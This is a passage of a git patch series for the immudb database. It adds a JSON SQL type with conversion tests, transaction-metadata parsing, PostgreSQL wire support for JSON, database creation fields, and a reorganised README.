{ + a: NewJson(nil), + b: NewNull(JSONType), + res: 0, + }, + { + a: NewJson(nil), + b: NewNull(AnyType), + res: 0, + }, + } + + for _, tc := range tests { + t.Run(fmt.Sprintf("compare %s to %s", tc.a.Type(), tc.b.Type()), func(t *testing.T) { + res, err := tc.a.Compare(tc.b) + if tc.expectedError != nil { + require.ErrorIs(t, err, ErrNotComparableValues) + } else { + require.NoError(t, err) + require.Equal(t, tc.res, res) + } + + res1, err := tc.b.Compare(tc.a) + if tc.expectedError != nil { + require.ErrorIs(t, err, ErrNotComparableValues) + } else { + require.NoError(t, err) + require.Equal(t, res, -res1) + } + }) + } + }) + + t.Run("test casts", func(t *testing.T) { + type test struct { + src TypedValue + dst TypedValue + } + + cases := []test{ + { + src: &NullValue{t: JSONType}, + dst: &JSON{val: nil}, + }, + { + src: &NullValue{t: AnyType}, + dst: &JSON{val: nil}, + }, + { + src: &JSON{val: nil}, + dst: &NullValue{t: AnyType}, + }, + { + src: &JSON{val: 10.5}, + dst: &Float64{val: 10.5}, + }, + { + src: &Float64{val: 10.5}, + dst: &JSON{val: 10.5}, + }, + { + src: &JSON{val: 10.5}, + dst: &Integer{val: 10}, + }, + { + src: &Integer{val: 10}, + dst: &JSON{val: int64(10)}, + }, + { + src: &JSON{val: true}, + dst: &Bool{val: true}, + }, + { + src: &Bool{val: true}, + dst: &JSON{val: true}, + }, + { + src: &JSON{val: "test"}, + dst: &Varchar{val: `"test"`}, + }, + { + src: &Varchar{val: `{"name": "John Doe"}`}, + dst: &JSON{val: map[string]interface{}{"name": "John Doe"}}, + }, + } + + for _, tc := range cases { + t.Run(fmt.Sprintf("cast %s to %s", tc.src.Type(), tc.dst.Type()), func(t *testing.T) { + conv, err := getConverter(tc.src.Type(), tc.dst.Type()) + require.NoError(t, err) + + converted, err := conv(tc.src) + require.NoError(t, err) + require.Equal(t, converted, tc.dst) + }) + } + }) +} + func TestUnionSelectErrors(t *testing.T) { t.Run("fail on creating union reader", func(t *testing.T) { reader1 := &dummyRowReader{ @@ -1095,4 +1352,7 @@ func TestTypedValueString(t *testing.T) { avg := &AVGValue{s: &Float64{val: 10}, c: 4} require.Equal(t, "2.5", avg.String()) + + jsVal := &JSON{val: map[string]interface{}{"name": "John Doe"}} + require.Equal(t, jsVal.String(), `{"name":"John Doe"}`) } diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 6beaa0f988..623911b79f 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -17,6 +17,7 @@ limitations under the License. package sql import ( + "encoding/json" "fmt" "strconv" "time" @@ -28,12 +29,20 @@ type converterFunc func(TypedValue) (TypedValue, error) func getConverter(src, dst SQLValueType) (converterFunc, error) { if src == dst { + if src == JSONType { + return jsonConverted(dst), nil + } + return func(tv TypedValue) (TypedValue, error) { return tv, nil }, nil } if src == AnyType { + if dst == JSONType { + return jsonConverted(dst), nil + } + return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: dst}, nil @@ -43,7 +52,6 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { } if dst == TimestampType { - if src == IntegerType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -93,11 +101,9 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", ErrUnsupportedCast, ) - } if dst == Float64Type { - if src == IntegerType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -125,15 +131,30 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { }, nil } + if src == JSONType { + return jsonConverted(dst), nil + } + return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as FLOAT", ErrUnsupportedCast, ) + } + + if dst == BooleanType { + if src == JSONType { + return jsonConverted(dst), nil + } + return nil, fmt.Errorf( + "%w: cannot cast %s to %s", + ErrUnsupportedCast, + src, + dst, + ) } if dst == IntegerType { - if src == Float64Type { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -161,15 +182,17 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { }, nil } + if src == JSONType { + return jsonConverted(dst), nil + } + return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as INTEGER", ErrUnsupportedCast, ) - } if dst == UUIDType { - if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -216,11 +239,9 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { "%w: only BLOB and VARCHAR types can be cast as UUID", ErrUnsupportedCast, ) - } if dst == BLOBType { - if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -253,7 +274,6 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { } if dst == VarcharType { - if src == UUIDType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { @@ -266,16 +286,81 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { }, nil } + if src == JSONType { + return jsonConverted(dst), nil + } + return nil, fmt.Errorf( "%w: only UUID type can be cast as VARCHAR", ErrUnsupportedCast, ) + } + + if dst == JSONType { + return func(tv TypedValue) (TypedValue, error) { + if tv.RawValue() == nil { + return &NullValue{t: JSONType}, nil + } + + switch tv.Type() { + case Float64Type, IntegerType, BooleanType, AnyType: + return &JSON{val: tv.RawValue()}, nil + case VarcharType: + var x interface{} + err := json.Unmarshal([]byte(tv.String()), &x) + return &JSON{val: x}, err + } + + return nil, fmt.Errorf( + "%w: can not cast %s value as %s", + ErrUnsupportedCast, + tv.Type(), + JSONType, + ) + }, nil + } + if dst == AnyType && src == JSONType { + return func(tv TypedValue) (TypedValue, error) { + if !tv.IsNull() { + return &NullValue{t: AnyType}, nil + } + return nil, ErrInvalidValue + }, nil } return nil, fmt.Errorf( "%w: can not cast %s value as %s", ErrUnsupportedCast, - src, dst, + src, + dst, ) } + +func jsonConverted(t SQLValueType) converterFunc { + return func(val TypedValue) (TypedValue, error) { + if val.IsNull() { + return &JSON{val: nil}, nil + } + + jsonVal := val.(*JSON) + if t == VarcharType { + return NewVarchar(jsonVal.String()), nil + } + + val, ok := jsonVal.castToTypedValue() + if !ok { + return nil, fmt.Errorf( + "%w: can not cast JSON as %s", + ErrUnsupportedCast, + t, + ) + } + + conv, err := getConverter(val.Type(), t) + if err != nil { + return nil, err + } + return conv(val) + } +} diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 6273e640e3..7b7dc1391c 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -916,7 +916,7 @@ DualProofV2 contains inclusion and consistency proofs | ----- | ---- | ----- | ----------- | | flushThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes | | syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes with file sync | -| cacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the Btree node cache | +| cacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the Btree node cache in bytes | | maxNodeSize | [NullableUint32](#immudb.schema.NullableUint32) | | Max size of a single Btree node in bytes | | maxActiveSnapshots | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of active btree snapshots | | renewSnapRootAfter | [NullableUint64](#immudb.schema.NullableUint64) | | Time in milliseconds between the most recent DB snapshot is automatically renewed | diff --git a/pkg/api/schema/row_value.go b/pkg/api/schema/row_value.go index df1f20c89b..326f6b0561 100644 --- a/pkg/api/schema/row_value.go +++ b/pkg/api/schema/row_value.go @@ -184,7 +184,6 @@ func RenderValueAsByte(op isSQLValue_Value) []byte { return []byte(strconv.FormatFloat(float64(v.F), 'f', -1, 64)) } } - return []byte(fmt.Sprintf("%v", op)) } @@ -223,6 +222,5 @@ func RawValue(v *SQLValue) interface{} { return tv.F } } - return nil } diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 0627714eed..495b3d84d2 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -6157,7 +6157,7 @@ type IndexNullableSettings struct { FlushThreshold *NullableUint32 `protobuf:"bytes,1,opt,name=flushThreshold,proto3" json:"flushThreshold,omitempty"` // Number of new index entries between disk flushes with file sync SyncThreshold *NullableUint32 `protobuf:"bytes,2,opt,name=syncThreshold,proto3" json:"syncThreshold,omitempty"` - // Size of the Btree node cache + // Size of the Btree node cache in bytes CacheSize *NullableUint32 `protobuf:"bytes,3,opt,name=cacheSize,proto3" json:"cacheSize,omitempty"` // Max size of a single Btree node in bytes MaxNodeSize *NullableUint32 `protobuf:"bytes,4,opt,name=maxNodeSize,proto3" json:"maxNodeSize,omitempty"` diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index d44a4ef413..e726c20157 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2635,7 +2635,7 @@ }, "cacheSize": { "$ref": "#/definitions/schemaNullableUint32", - "title": "Size of the Btree node cache" + "title": "Size of the Btree node cache in bytes" }, "maxNodeSize": { "$ref": "#/definitions/schemaNullableUint32", diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index be1edd0439..74999b3189 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -152,6 +152,8 @@ func TypedValueToRowValue(tv sql.TypedValue) *SQLValue { { return &SQLValue{Value: &SQLValue_F{F: tv.RawValue().(float64)}} } + case sql.JSONType: + return &SQLValue{Value: &SQLValue_S{S: tv.String()}} } return nil } diff --git a/pkg/client/sql.go b/pkg/client/sql.go index acd1e99a19..1448525800 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -463,6 +463,10 @@ func (it *rowReader) Read() (Row, error) { return nil, it.err } + if it.nextRow < 0 { + return nil, errors.New("Read called without calling Next") + } + protoRow := it.rows[it.nextRow] for i, protoVal := range protoRow.Values { val := schema.RawValue(protoVal) diff --git a/pkg/database/database.go b/pkg/database/database.go index 3c6fcdc0ee..21fea86b33 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -226,7 +226,8 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). - WithMultiDBHandler(multidbHandler) + WithMultiDBHandler(multidbHandler). + WithParseTxMetadataFunc(parseTxMetadata) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { @@ -257,6 +258,19 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log return dbi, nil } +func parseTxMetadata(data []byte) (map[string]interface{}, error) { + md := schema.Metadata{} + if err := md.Unmarshal(data); err != nil { + return nil, err + } + + meta := make(map[string]interface{}, len(md)) + for k, v := range md { + meta[k] = v + } + return meta, nil +} + func (d *db) Path() string { return filepath.Join(d.options.GetDBRootPath(), d.GetName()) } @@ -336,7 +350,8 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). - WithMultiDBHandler(multidbHandler) + WithMultiDBHandler(multidbHandler). + WithParseTxMetadataFunc(parseTxMetadata) dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 2fbe43e304..6a14118b9f 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -18,6 +18,7 @@ package integration import ( "context" + "encoding/json" "fmt" "testing" @@ -276,6 +277,7 @@ func TestImmuClient_SQLQueryReader(t *testing.T) { CREATE TABLE test_table ( id INTEGER AUTO_INCREMENT, value INTEGER, + data JSON, PRIMARY KEY (id) ); @@ -283,14 +285,25 @@ func TestImmuClient_SQLQueryReader(t *testing.T) { require.NoError(t, err) for n := 0; n < 10; n++ { - _, err := client.SQLExec(ctx, "INSERT INTO test_table(value) VALUES (@value)", map[string]interface{}{"value": n + 10}) + name := fmt.Sprintf("name%d", n) + + _, err := client.SQLExec( + ctx, + "INSERT INTO test_table(value, data) VALUES (@value, @data)", + map[string]interface{}{ + "value": n + 10, + "data": fmt.Sprintf(`{"name": "%s"}`, name), + }) require.NoError(t, err) } reader, err := client.SQLQueryReader(ctx, "SELECT * FROM test_table WHERE value < 0", nil) require.NoError(t, err) - require.False(t, reader.Next()) + _, err = reader.Read() + require.Error(t, err) + + require.False(t, reader.Next()) _, err = reader.Read() require.ErrorIs(t, err, sql.ErrNoMoreRows) @@ -305,15 +318,24 @@ func TestImmuClient_SQLQueryReader(t *testing.T) { require.Equal(t, cols[0].Type, sql.IntegerType) require.Equal(t, cols[1].Name, "(test_table.value)") require.Equal(t, cols[1].Type, sql.IntegerType) + require.Equal(t, cols[2].Name, "(test_table.data)") + require.Equal(t, cols[2].Type, sql.JSONType) n := 0 for reader.Next() { row, err := reader.Read() require.NoError(t, err) - require.Len(t, row, 2) + require.Len(t, row, 3) + + name := fmt.Sprintf("name%d", n) + + var data interface{} + err = json.Unmarshal([]byte(row[2].(string)), &data) + require.NoError(t, err) require.Equal(t, int64(n+1), row[0]) require.Equal(t, int64(n+10), row[1]) + require.Equal(t, map[string]interface{}{"name": name}, data) n++ } @@ -499,3 +521,59 @@ func TestImmuClient_SQL_Errors(t *testing.T) { }, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) require.ErrorIs(t, err, ic.ErrNotConnected) } + +func TestQueryTxMetadata(t *testing.T) { + options := server.DefaultOptions(). + WithDir(t.TempDir()). + WithLogRequestMetadata(true) + + bs := servertest.NewBufconnServer(options) + + bs.Start() + defer bs.Stop() + + client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) + require.NoError(t, err) + defer client.CloseSession(context.Background()) + + _, err = client.SQLExec( + context.Background(), + `CREATE TABLE mytable( + id INTEGER, + data JSON, + + PRIMARY KEY (id) + )`, + nil, + ) + require.NoError(t, err) + + _, err = client.SQLExec( + context.Background(), + `INSERT INTO mytable(id, data) VALUES (1, '{"name": "John Doe"}')`, + nil, + ) + require.NoError(t, err) + + it, err := client.SQLQueryReader( + context.Background(), + "SELECT _tx_metadata FROM mytable", + nil, + ) + require.NoError(t, err) + + require.True(t, it.Next()) + + row, err := it.Read() + require.NoError(t, err) + + var md map[string]interface{} + err = json.Unmarshal([]byte(row[0].(string)), &md) + require.NoError(t, err) + + require.Equal( + t, + map[string]interface{}{"usr": "immudb", "ip": "bufconn"}, + md, + ) +} diff --git a/pkg/pgsql/server/bmessages/data_row.go b/pkg/pgsql/server/bmessages/data_row.go index d251a5aba6..02e4bb1f6f 100644 --- a/pkg/pgsql/server/bmessages/data_row.go +++ b/pkg/pgsql/server/bmessages/data_row.go @@ -65,6 +65,12 @@ func DataRow(rows []*sql.Row, colNumb int, ResultColumnFormatCodes []int16) []by value = make([]byte, 8) binary.BigEndian.PutUint64(value, uint64(rv.(int64))) } + case sql.JSONType: + { + jsonStr := val.String() + binary.BigEndian.PutUint32(valueLength, uint32(len(jsonStr))) + value = []byte(jsonStr) + } case sql.VarcharType: { s := rv.(string) diff --git a/pkg/pgsql/server/pgmeta/pg_type.go b/pkg/pgsql/server/pgmeta/pg_type.go index 599d0429fc..7a2839290a 100644 --- a/pkg/pgsql/server/pgmeta/pg_type.go +++ b/pkg/pgsql/server/pgmeta/pg_type.go @@ -19,6 +19,8 @@ package pgmeta import ( "errors" "fmt" + + "github.com/codenotary/immudb/embedded/sql" ) const ( @@ -37,13 +39,14 @@ var ErrInvalidPgsqlProtocolVersion = errors.New("invalid pgsql protocol version" // First int is the oid value (retrieved with select * from pg_type;) // Second int is the length of the value. -1 for dynamic. var PgTypeMap = map[string][]int{ - "BOOLEAN": {16, 1}, //bool - "BLOB": {17, -1}, //bytea - "TIMESTAMP": {20, 8}, //int8 - "INTEGER": {20, 8}, //int8 - "VARCHAR": {25, -1}, //text - "UUID": {2950, 16}, //uuid - "FLOAT": {701, 8}, //double-precision floating point number + sql.BooleanType: {16, 1}, //bool + sql.BLOBType: {17, -1}, //bytea + sql.TimestampType: {20, 8}, //int8 + sql.IntegerType: {20, 8}, //int8 + sql.VarcharType: {25, -1}, //text + sql.UUIDType: {2950, 16}, //uuid + sql.Float64Type: {701, 8}, //double-precision floating point number + sql.JSONType: {114, -1}, //json } const PgSeverityError = "ERROR" diff --git a/pkg/pgsql/server/stmts_handler.go b/pkg/pgsql/server/stmts_handler.go index dd05343158..0a5e40ea22 100644 --- a/pkg/pgsql/server/stmts_handler.go +++ b/pkg/pgsql/server/stmts_handler.go @@ -49,6 +49,7 @@ func (s *session) isEmulableInternally(statement string) interface{} { } return nil } + func (s *session) tryToHandleInternally(command interface{}) error { switch cmd := command.(type) { case *version: From a1472942c603418a17fd27fe9d77cf8156b55d80 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 7 Jun 2024 15:57:28 +0200 Subject: [PATCH 1032/1062] Add table of contents and projects section to README Signed-off-by: Stefano Scafiti --- README.md | 101 ++++++++++++++++++++++++++++++++++++------------------ 1 file changed, 68 insertions(+), 33 deletions(-) diff --git a/README.md b/README.md index f41c98f206..6cd0ac3b7d 100644 --- a/README.md +++ b/README.md @@ -42,38 +42,26 @@ Data stored in immudb is cryptographically coherent and verifiable. Unlike block immudb can be used as a key-value store or relational data structure and supports both transactions and blobs, so there are no limits to the use cases. Companies use immudb to secure and tamper-evident log data, sensor data, sensitive data, transactions, software build recipes, rule-base data, even artifacts and even video streams. [Examples of organizations using immudb today.](https://www.immudb.io) -### Online demo environment - -Click here to try out the immudb web console access in an [online demo environment](https://demo.immudb.io) (username: immudb; password: immudb) - - - - -### Some immudb tech specs - -| Topic | Description | -| ----------------------- | -------------------------------------------------- | -| DB Model | Key-Value with 3D access, Document Model, SQL | -| Data scheme | schema-free | -| Implementation design | Cryptographic commit log with parallel Merkle Tree,| -| | (sync/async) indexing with extended B-tree | -| Implementation language | Go | -| Server OS(s) | BSD, Linux, OS X, Solaris, Windows, IBM z/OS | -| Embeddable | Yes, optionally | -| Server APIs | gRPC | -| Partition methods | Sharding | -| Consistency concepts | Immediate Consistency | -| Transaction concepts | ACID with Snapshot Isolation (SSI) | -| Durability | Yes | -| Snapshots | Yes | -| High Read throughput | Yes | -| High Write throughput | Yes | -| Optimized for SSD | Yes | - +## Contents + +- [immudb](#immudb) + - [Contents](#contents) + - [Quickstart](#quickstart) + - [Getting immudb running: executable](#getting-immudb-running-executable) + - [Getting immudb running: docker](#getting-immudb-running-docker) + - [Getting immudb running: kubernetes](#getting-immudb-running-kubernetes) + - [Using subfolders](#using-subfolders) + - [Enabling Amazon S3 storage](#enabling-amazon-s3-storage) + - [Connecting with immuclient](#connecting-with-immuclient) + - [Using immudb](#using-immudb) + - [Real world examples](#real-world-examples) + - [How to integrate immudb in your application](#how-to-integrate-immudb-in-your-application) + - [Online demo environment](#online-demo-environment) + - [Tech specs](#tech-specs) + - [Performance figures](#performance-figures) + - [Roadmap](#roadmap) + - [Projects using immudb](#projects-using-immudb) + - [Contributing](#contributing) ## Quickstart @@ -289,7 +277,38 @@ We've developed a "language-agnostic SDK" which exposes a REST API for easy cons [immugw](https://github.com/codenotary/immugw) may be a convenient tool when SDKs are not available for the programming language you're using, for experimentation, or just because you prefer your app only uses REST endpoints. -# Performance figures +### Online demo environment + +Click here to try out the immudb web console access in an [online demo environment](https://demo.immudb.io) (username: immudb; password: immudb) + + + +## Tech specs + +| Topic | Description | +| ----------------------- | -------------------------------------------------- | +| DB Model | Key-Value with 3D access, Document Model, SQL | +| Data scheme | schema-free | +| Implementation design | Cryptographic commit log with parallel Merkle Tree,| +| | (sync/async) indexing with extended B-tree | +| Implementation language | Go | +| Server OS(s) | BSD, Linux, OS X, Solaris, Windows, IBM z/OS | +| Embeddable | Yes, optionally | +| Server APIs | gRPC | +| Partition methods | Sharding | +| Consistency concepts | Immediate Consistency | +| Transaction concepts | ACID with Snapshot Isolation (SSI) | +| Durability | Yes | +| Snapshots | Yes | +| High Read throughput | Yes | +| High Write throughput | Yes | +| Optimized for SSD | Yes | + +## Performance figures immudb can handle millions of writes per second. The following table shows performance of the embedded store inserting 1M entries on a machine with 4-core E3-1275v6 CPU and SSD disk: @@ -311,6 +330,22 @@ The following topics are important to us and are planned or already being worked * Easier API for developers * API compatibility with other, well-known embedded databases +## Projects using immudb + +Below is a list of known projects that use immudb: + +- [alma-sbom](https://github.com/AlmaLinux/alma-sbom) - AlmaLinux OS SBOM data management utility. + +- [immudb-log-audit](https://github.com/codenotary/immudb-log-audit) - A service and cli tool to store json formatted log input +and audit it later in immudb Vault. + +- [immudb-operator](https://github.com/unagex/immudb-operator) - Unagex Kubernetes Operator for immudb. + +- [immufluent](https://github.com/codenotary/immufluent) - Send fluentbit collected logs to immudb. + +- [immuvoting](https://github.com/padurean/immuvoting) - Publicly cryptographically verifiable electronic voting system powered by immudb. + +Are you using immudb in your project? Open a pull request to add it to the list. ## Contributing From a36e4bc7718dd3837720201b3cd47662c9289880 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 24 May 2024 10:58:14 +0200 Subject: [PATCH 1033/1062] Add CreatedAt and CreatedBy to DatabaseInfo --- cmd/immuadmin/command/database.go | 17 +- pkg/api/schema/docs.md | 2 + pkg/api/schema/schema.pb.go | 1180 ++++++++++++++-------------- pkg/api/schema/schema.proto | 6 + pkg/api/schema/schema.swagger.json | 9 + pkg/server/db_options.go | 13 +- pkg/server/db_options_test.go | 6 +- pkg/server/remote_storage_test.go | 2 +- pkg/server/server.go | 6 +- 9 files changed, 644 insertions(+), 597 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 9045004f06..2e5ca1a272 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -108,10 +108,10 @@ func (cl *commandline) database(cmd *cobra.Command) { } c.PrintTable( cmd.OutOrStdout(), - []string{"Database Name", "Status", "Is Replica", "Disk Size", "Transactions"}, + []string{"Database Name", "Created At", "Created By", "Status", "Is Replica", "Disk Size", "Transactions"}, len(resp.Databases), func(i int) []string { - row := make([]string, 5) + row := make([]string, 7) db := resp.Databases[i] @@ -120,17 +120,20 @@ func (cl *commandline) database(cmd *cobra.Command) { } row[0] += db.Name + row[1] = time.Unix(int64(db.CreatedAt), 0).Format("2006-01-02") + row[2] = db.CreatedBy + if db.GetLoaded() { - row[1] += "LOADED" + row[3] += "LOADED" } else { - row[1] += "UNLOADED" + row[3] += "UNLOADED" } isReplica := db.Settings.ReplicationSettings.Replica != nil && db.Settings.ReplicationSettings.Replica.Value - row[2] = strings.ToUpper(strconv.FormatBool(isReplica)) - row[3] = helper.FormatByteSize(db.DiskSize) - row[4] = strconv.FormatUint(db.NumTransactions, 10) + row[4] = strings.ToUpper(strconv.FormatBool(isReplica)) + row[5] = helper.FormatByteSize(db.DiskSize) + row[6] = strconv.FormatUint(db.NumTransactions, 10) return row }, diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 7b7dc1391c..9c7aac99c1 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -415,6 +415,8 @@ DEPRECATED | loaded | [bool](#bool) | | If true, this database is currently loaded into memory | | diskSize | [uint64](#uint64) | | database disk size | | numTransactions | [uint64](#uint64) | | total number of transactions | +| created_at | [uint64](#uint64) | | the time when the db was created | +| created_by | [string](#string) | | the user who created the database | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 495b3d84d2..3f1c2d5fd2 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7493,6 +7493,10 @@ type DatabaseInfo struct { DiskSize uint64 `protobuf:"varint,4,opt,name=diskSize,proto3" json:"diskSize,omitempty"` // total number of transactions NumTransactions uint64 `protobuf:"varint,5,opt,name=numTransactions,proto3" json:"numTransactions,omitempty"` + // the time when the db was created + CreatedAt uint64 `protobuf:"varint,6,opt,name=created_at,json=createdAt,proto3" json:"created_at,omitempty"` + // the user who created the database + CreatedBy string `protobuf:"bytes,7,opt,name=created_by,json=createdBy,proto3" json:"created_by,omitempty"` } func (x *DatabaseInfo) Reset() { @@ -7562,6 +7566,20 @@ func (x *DatabaseInfo) GetNumTransactions() uint64 { return 0 } +func (x *DatabaseInfo) GetCreatedAt() uint64 { + if x != nil { + return x.CreatedAt + } + return 0 +} + +func (x *DatabaseInfo) GetCreatedBy() string { + if x != nil { + return x.CreatedBy + } + return "" +} + type Chunk struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9967,7 +9985,7 @@ var file_schema_proto_rawDesc = []byte{ 0x39, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0xc5, 0x01, 0x0a, 0x0c, 0x44, + 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, @@ -9980,607 +9998,611 @@ var file_schema_proto_rawDesc = []byte{ 0x64, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, - 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, - 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x18, 